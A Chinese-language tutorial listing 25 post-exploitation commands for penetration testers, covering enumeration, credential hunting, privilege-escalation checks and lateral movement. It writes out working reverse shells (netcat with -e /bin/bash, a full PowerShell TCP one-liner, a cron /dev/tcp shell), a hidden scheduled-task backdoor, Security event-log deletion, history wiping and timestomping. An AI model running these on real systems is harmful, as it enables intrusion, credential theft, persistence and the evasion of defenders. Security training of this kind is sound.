- 渗透测试
前言:真正的较量从获取Shell后才开始
你是否好奇过,真正的黑客在成功入侵后会做什么?这可不仅仅是”弹个Shell”那么简单。真正的魔法——技术与艺术的结合——发生在进入系统之后。
大多数人认为拿到Shell就意味着游戏结束。事实恰恰相反——这只是刚刚开始。渗透后利用(Post-Exploitation)才是渗透测试人员、红队成员,甚至恶意攻击者真正发力的阶段。他们会提升权限、横向移动、建立持久化、收集数据并清理痕迹。掌握这些技能不仅炫酷——更能让你在网络安全领域脱颖而出。
准备好揭开幕后的秘密了吗?这里有一套经过实战检验的工具包,包含25条每位道德黑客、漏洞赏金猎人或蓝队成员都应该烂熟于心的命令。让我们直入正题。

什么是渗透后利用(为什么你应该关心)?
简而言之,渗透后利用是指在获得系统访问权限之后所做的一切。可以把它想象成进入一栋上锁的房子:你不会只是站在门厅里,而是会翻遍各个房间,寻找贵重物品,甚至可能为朋友打开后门。对于渗透测试人员和红队来说,渗透后利用阶段的任务包括:
- 收集关键信息(凭证、配置文件、令牌)
- 从普通用户提权至管理员/root
- 建立持久化访问以便后续使用
- 在网络内横向移动
- 规避检测并清理痕迹
这正是脚本小子与真正高手的分水岭。
现在,让我们拆解25条核心命令,配合实战案例,让你事半功倍。
1. 我是谁?确定你的立足点
1. whoami
看似简单,但永远是第一步。你需要知道当前的执行上下文。
whoami
预期输出可能是 www-data、user 或 SYSTEM。这告诉你当前能做什么(以及不能做什么)。
2. id
特别是在Linux上,id 命令会显示UID、GID和组成员资格。
id
如果看到 uid=0(root),你已经赢了。否则,留意 sudo、wheel 或 adm 等组。
2. 我在什么系统中?系统枚举
3. uname -a
获取操作系统版本、架构和内核信息。有时会透露潜在的提权向量。
uname -a
在Windows上,使用:
systeminfo
这是提权研究的金矿——查找与版本匹配的内核漏洞。
4. hostname 和 hostnamectl
你需要知道自己在网络中的位置。
hostname
hostnamectl
在Active Directory环境中?主机名可能暗示命名规范:DC01、WEB-SERVER 等。
5. cat /etc/os-release
获取精确的Linux发行版和版本:
cat /etc/os-release
这出奇地有用,特别是在CTF比赛或冷门嵌入式系统中遇到奇怪的发行版时。
3. 我能访问什么?目录和文件发现
6. ls -lha
详细列出目录。-a 标志显示隐藏文件(点文件常藏有密码或SSH密钥)。
ls -lha ~/
我曾通过浏览这里找到 .bash_history 甚至包含秘密的 .git 文件夹。
7. find / -perm -4000 -type f 2>/dev/null
寻找SUID二进制文件?它们通常是提权的金矿。
find / -perm -4000 -type f 2>/dev/null
寻找设置了SUID位的异常二进制文件——有时它们允许权限提升。
8. cat /etc/passwd
获取用户列表——不是为了破解密码(那已经过时),而是为了绘制攻击面。
cat /etc/passwd
在Windows上,使用:
net user
4. 正在运行什么?进程和服务枚举
9. ps aux(Windows上用 tasklist)
你需要知道正在运行什么。是否有以root身份运行的进程?有奇怪的守护进程吗?
ps aux
或在Windows上:
tasklist
你经常会在进程参数中发现遗留应用、定时任务,甚至明文密码。
10. netstat -tulnp(Windows上用 Get-NetTCPConnection)
网络服务揭示远程访问点和横向移动机会。
netstat -tulnp
PowerShell中:
Get-NetTCPConnection
寻找高端口上的服务或”隐藏”的监听器。
5. 搜刮凭证:好东西在哪里?
11. cat ~/.ssh/id_rsa 或 cat ~/.bash_history
SSH私钥经常随处可见。命令历史也一样——有时包含密码、curl令牌或AWS密钥。
cat ~/.ssh/id_rsa
cat ~/.bash_history
务必检查 AWS_ACCESS_KEY_ID 及相关内容。
12. grep -i password /etc/* 2>/dev/null
你在寻找任何闻起来像凭证的东西。
grep -i password /etc/* 2>/dev/null
在Windows上,尝试查找ini或配置文件:
findstr /si password c:\*.ini c:\*.config c:\*.xml
专业提示: 开发者喜欢把秘密放在配置文件里。他们讨厌管理秘密。
13. cat /var/www/html/config.php
Web应用程序的配置文件中常有数据库凭证。根据需要更改路径。
cat /var/www/html/config.php
对于渗透测试,检查 /var/www/ 路径寻找秘密是经典操作。
6. 提权侦察
14. sudo -l
当前用户可以无需密码以root身份运行哪些命令?有时,有些脚本或二进制文件可以被滥用。
sudo -l
如果看到类似 sudo /usr/bin/vim 的内容,你离root只差一个 :!sh。
15. getcap -r / 2>/dev/null
Linux能力(capabilities)类似SUID,但更隐蔽。有时,具有奇怪能力的二进制文件可被利用提权。
getcap -r / 2>/dev/null
如果看到 cap_setuid 之类的内容,深入挖掘。
16. wmic group get name, sid
在Windows上,绘制组成员资格至关重要。也许你在不知情的情况下就在某个高权限组中。
wmic group get name, sid
结合 whoami /groups——你会得到全局视图。
7. 轴转和横向移动
17. ssh user@targethost
如果找到SSH密钥或密码,横向移动就是你的下一步。用它们跳转到其他系统。
ssh user@targethost
或在Windows上使用psexec(横向移动的经典工具):
psexec \\TARGET -u USER -p PASSWORD cmd
在红队行动中串联多个横向移动跳板的体验,此生难忘。
18. smbclient //target/share -U username
SMB共享可能藏有各种战利品。在Windows重度网络中,你会经常使用它。
smbclient //target/share -U username
尝试 dir、get file.txt 等。虽然使用率不高,但威力巨大。
8. 数据外泄与持久化
19. nc -lvnp 4444(Netcat反向Shell)
Netcat是黑客的瑞士军刀。设置监听器或发送文件。
在攻击机上:
nc -lvnp 4444
在受害机上:
nc <your_ip> 4444 -e /bin/bash
对于Windows(使用PowerShell),可以用:
powershell -c "$client = New-Object System.Net.Sockets.TCPClient('<your_ip>',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}"
有时反向Shell轻松奏效。有时杀毒软件毁掉一切——但总值得一试。
20. crontab -e(持久化)
持久化意味着你可以稍后回来。Cron作业在Linux上效果奇佳。
编辑cron作业:
crontab -e
添加类似这样的一行:
* * * * * /bin/bash -c 'bash -i >& /dev/tcp/<your_ip>/4444 0>&1'
在Windows上,使用schtasks:
schtasks /create /sc minute /mo 1 /tn backdoor /tr "powershell.exe -noni -nop -w hidden -c <command>"
酷的是什么?即使重启后,你的访问依然存在。
9. 清理痕迹
21. history -c && history -w
清除bash历史。(不完美,但总比没有强。)
history -c && history -w
在Windows上,可能删除日志:
del C:\Windows\System32\winevt\Logs\Security.evtx
或者,在PowerShell中清除命令历史:
Remove-Item (Get-PSReadlineOption).HistorySavePath
实话实说——防御者仍有招数,但这能为你争取时间。
22. touch -mt YYYYMMDDhhmm file
重置文件时间戳。当你添加或修改文件时,防御者会查找最近的更改。用这个改回去:
touch -mt 202201010101 somefile.txt
结合 ls -lt 检查你的工作成果。
10. 系统和网络侦察
23. ifconfig / ip a
找出哪些网络接口已启用,以及可以从哪些本地IP进行横向移动。
ifconfig
或
ip a
Windows等效命令:
ipconfig
你可能发现备份或管理网络——横向移动的大奖。
24. route -n / netstat -rn
绘制网络路由图显示你可以去哪里。有时,你会发现其他诱人的子网。
route -n
在Windows上:
route print
我曾用这个命令发现隐藏的管理网络。总是值得一看。
25. arp -a
查看本地网络上还有谁。这在扁平网络或瞄准横向移动时特别有用。
arp -a
它会列出一串你可以扫描或攻击的IP和MAC地址。
实战演练:经典渗透后利用工作流
让我用上述一些命令的组合,带你走一遍经典的渗透后利用流程。
1. 确定你的身份:
whoami
id
2. 检查系统:
uname -a
cat /etc/os-release
3. 搜寻密钥和密码:
ls -lha ~/
cat ~/.ssh/id_rsa
grep -i password /etc/*
4. 寻找提权机会:
sudo -l
find / -perm -4000 -type f 2>/dev/null
5. 扫描横向移动:
ifconfig
arp -a
smbclient //target/share -U username
6. 持久化并清理:
crontab -e
history -c && history -w
每条命令都环环相扣。实战中,你会来回切换,收集线索,尝试一条路径,在被杀软拦截时绕道而行。
实战技巧(来自一线)
- 保持好奇心: 挖得比表面深一点。有时,真正的宝藏就在两个目录之外。
- 自动化,但要验证: LinPEAS和WinPEAS之类的脚本很棒,但为了学习和隐蔽,要亲自运行核心命令。
- 始终检查配置文件: 特别是Web应用配置——它们时常泄露数据库凭证、AWS秘密和API密钥。
- 不要跳过进程和网络枚举: 一个奇怪的进程或开放端口可能是你意想不到的横向移动点。
- 像系统管理员一样思考: 你会把备份密钥藏在哪里?会给紧急密码文件起什么名字?
老实说——即使是经验丰富的渗透测试人员在压力下也会忘记基础知识。这就是为什么把这些命令刻进肌肉记忆如此强大。
总结:为什么这些命令如此重要
掌握渗透后利用的关键在于态势感知。这不仅仅是关于提权漏洞或反向Shell——而是知道接下来该运行哪条命令。
无论你是在进行漏洞赏金猎取、深入红队行动,还是防御自己的技术栈,这25条命令都是你每次必定会用到的工具包。
你可能会想:“不可能这么简单吧。“但实际上?专业人士正是快速、安静、有条不紊地运用这些基础——这正是他们的危险之处。
持续练习,不断探索。下次你拿到Shell时,你会确切知道该做什么。说实话?那种感觉真的很棒。